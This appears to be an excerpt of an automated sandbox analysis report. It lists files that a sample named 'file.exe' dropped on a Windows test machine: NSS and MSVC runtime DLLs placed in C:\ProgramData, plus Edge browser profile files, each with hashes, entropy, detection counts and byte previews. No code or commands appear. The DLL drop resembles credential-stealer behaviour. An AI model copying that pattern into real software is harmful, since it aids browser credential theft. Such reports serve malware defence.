SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\0fdd0d86-ccf7-4bef-915a-ef49bf21f990.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44918
Entropy (8bit):	6.094701313285018
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWJPi1zNtRPcniNHQqR5EhKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynLEiOKtSmd6qE7lFoC
MD5:	6260ABE46182B226C4A618DC4B0E0B8C
SHA1:	8C5802F832E35764610538313A1E7AC9EF6A5DBE
SHA-256:	A5A9576CFCC821C126050FFAD994ED599323C8591B117987A0DA964A1B28C5CB
SHA-512:	E155D4750D76CCBF73C293A99EE2D19D688B345964B5930440684D56393766F68AE2911785E3544322D4F0EF1E5B6ED31574B5FF98843F522CC04122FB63D8DD
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\26f62a12-3143-43ea-8d6c-d898a68dc336.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089801034669812
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW7di1zNtPM5kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynd6kzItSmd6qE7lFoC
MD5:	64B1730E6FC96751FBA69619B895F408
SHA1:	740A826252B4F021585E83AE6430378DB497E237
SHA-256:	5253A682ACA2076B1248513B404ADFF8B5A58CABFAA6FD25AB5E74FC6348C757
SHA-512:	6CF80B5222E35EC3CF1733B9778DF06385CAF63FA8FB9C106347D41A977D60C52FCC6C7225EC17D6BB90979871DC613E1B1C286901518D0C355DB806D5287A7E
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\54702165-4f64-41b8-a487-3d1d378ce321.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46166
Entropy (8bit):	6.086413283119026
Encrypted:	false
SSDEEP:	768:rhMkbJrT8IeQcrQgxK1t+i1zNtRPcni99mxtFvlsJx5OtjfZECioVJDSgzMMd6qb:rhMk1rT8HRKXEi4lsJx5gjxEFoVtSmdx
MD5:	6351F6CB43B39AB2FB9A0EF4FC04F64F
SHA1:	CD8569C08AE99FD597ED3F6DE389755FC38E3656
SHA-256:	DB2FEEFAFA2C4CE18220666D72728EFE0DDF467971B6A064BBCFC6093E9F8936
SHA-512:	DEB40592E7BA4159644F0C43B2412B1195202B864572DD6C832A2E86F1DB1EFF90AC2216284E1764F953BA315298A0452EFD8237CAA10A6DE26FAC5863146265
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376448094978593","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"94f55d40-52bc-427e-ae3b-e01cc1960b8a"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731974499"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\7e7358cc-af57-4e2c-b49f-fa449d221b8b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46119
Entropy (8bit):	6.086655834425514
Encrypted:	false
SSDEEP:	768:rhMkbJrT8IeQcrQgxK19+i1zNtRPcni99mxtFvlsJx5OtjfZECioVJDSgzMMd6qb:rhMk1rT8HRKvEi4lsJx5gjxEFoVtSmdx
MD5:	D3404F040D012C4AEC43F37A1152EE7E
SHA1:	16D6449C86E2D759633858A78E485090CBBC549F
SHA-256:	1CED987A4CB2D7AED57A124168388439EB8C7DE3F463A8859326FB829B1059EE
SHA-512:	42C0A63D6FB9A2DB255F73500F9B1B7C226C62E077ABBF56FD46E72FCAD8427B6732C8DF8A26003C6BDFA56121A30D988E20DEAF9FEE80600E5ABF1BCDCD9F97
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376448094978593","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"94f55d40-52bc-427e-ae3b-e01cc1960b8a"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731974499"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\90ade5b6-579d-4665-96b0-22e5f72e54af.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44918
Entropy (8bit):	6.094701313285018
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWJPi1zNtRPcniNHQqR5EhKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynLEiOKtSmd6qE7lFoC
MD5:	6260ABE46182B226C4A618DC4B0E0B8C
SHA1:	8C5802F832E35764610538313A1E7AC9EF6A5DBE
SHA-256:	A5A9576CFCC821C126050FFAD994ED599323C8591B117987A0DA964A1B28C5CB
SHA-512:	E155D4750D76CCBF73C293A99EE2D19D688B345964B5930440684D56393766F68AE2911785E3544322D4F0EF1E5B6ED31574B5FF98843F522CC04122FB63D8DD
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\acc00e2f-d036-44be-b53b-8664f069cfbd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640139822627159
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7o:fwUQC5VwBIiElEd2K57P7o
MD5:	3F661497580210A9A5B194DBDE387CBD
SHA1:	AC5DA82539FDF967C0D29284446BBF33C1023DE3
SHA-256:	8615001DB8EA389D4FF271071160DD5F17A56A2FF6412C3D0A77531FBA8234C1
SHA-512:	8B7CE599B9C5A232BBB45152B5FE7850C2A7161EE914B04A63EDB0EF313D6C5A53962614F664908518B630D97F84C0EA5FED4CC0404D10EF9E5B6D58AB037437
Malicious:	false
Reputation:	unknown
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640139822627159
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7o:fwUQC5VwBIiElEd2K57P7o
MD5:	3F661497580210A9A5B194DBDE387CBD
SHA1:	AC5DA82539FDF967C0D29284446BBF33C1023DE3
SHA-256:	8615001DB8EA389D4FF271071160DD5F17A56A2FF6412C3D0A77531FBA8234C1
SHA-512:	8B7CE599B9C5A232BBB45152B5FE7850C2A7161EE914B04A63EDB0EF313D6C5A53962614F664908518B630D97F84C0EA5FED4CC0404D10EF9E5B6D58AB037437
Malicious:	false
Reputation:	unknown
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-673BD55D-1D6C.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4937022086821022
Encrypted:	false
SSDEEP:	6144:LLdc0ILQwNiKUsWoTwqos/+VwIj7+aHd+o:+Nids6mk
MD5:	10A21506EE4A81A3AAEB66F367099869
SHA1:	3243B6809D936CCCF6B772E9216D425C4BD4E648
SHA-256:	C2D7FF8140FD379870EA9775E5E74886501E192930254A40E78A8DBC85BF6640
SHA-512:	64D7DC851ACB53476B48C0B2CDFD8255AA4FBF15763ADCFFC7835F722172FC6AEF2F4DCA8E19A6F6BD64F7A5A3CEF4F19C2821BD840E8BD3C5E116B746F3CB70
Malicious:	false
Reputation:	unknown
Preview:	...@..@...@.....C.].....@..................0...............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".cqvagc20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................. .`2......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Reputation:	unknown
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\221716c2-d988-4b66-86d2-ad380df9a352.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Reputation:	unknown
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\303634e5-5993-4267-bf48-9ff20f9700d9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (17638), with no line terminators
Category:	dropped
Size (bytes):	17638
Entropy (8bit):	5.48478819038491
Encrypted:	false
SSDEEP:	384:stMPGKSu4eshMCDNHGXsxxcIi2rbGJQw63C:sOOxukMCeyigbGazC
MD5:	6C8FC95DB863BD75BEF8D3E487B6889A
SHA1:	7F85B48132CA5ECE447FDD8FA071E9005B49FB38
SHA-256:	2411C40A1D27A37A3CAC9FA404D16D3714AB8B52C50FADE0A851F9DF64ED94C1
SHA-512:	98EA4632809E65299FB8E24EEDBE9A95DFA8167E18172CBAB4C4122583A71500F96E7DAC999F9FABCA3D9847FD2A20238B365622E00381E385035520A63801ED
Malicious:	false
Reputation:	unknown
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376448094893041","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\4805a6e8-a82b-4379-a164-33b44fcc0638.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (17473), with no line terminators
Category:	dropped
Size (bytes):	17473
Entropy (8bit):	5.488008367602276
Encrypted:	false
SSDEEP:	384:stMPGKSu4eshMCDNHGXsxxcIi2rbGJQwTC:sOOxukMCeyigbGaCC
MD5:	20E69727318BF7301544A3E4B13F7A22
SHA1:	3FABE5F9EBF9B8638D94AFD6F143EF26E8351883
SHA-256:	B6A116634AD3A7DF761DB7392AB53427233CB5AF9903105A292D894DAA0A3E6F
SHA-512:	573E33C1699CA5E875998B4F8C2F56C8C82EEECDF99D579DBCC3623E04BBAF763CED81F72E0F40B36F147534722622DE3FE89E0791AF0E38C415DB200A042EFD
Malicious:	false
Reputation:	unknown
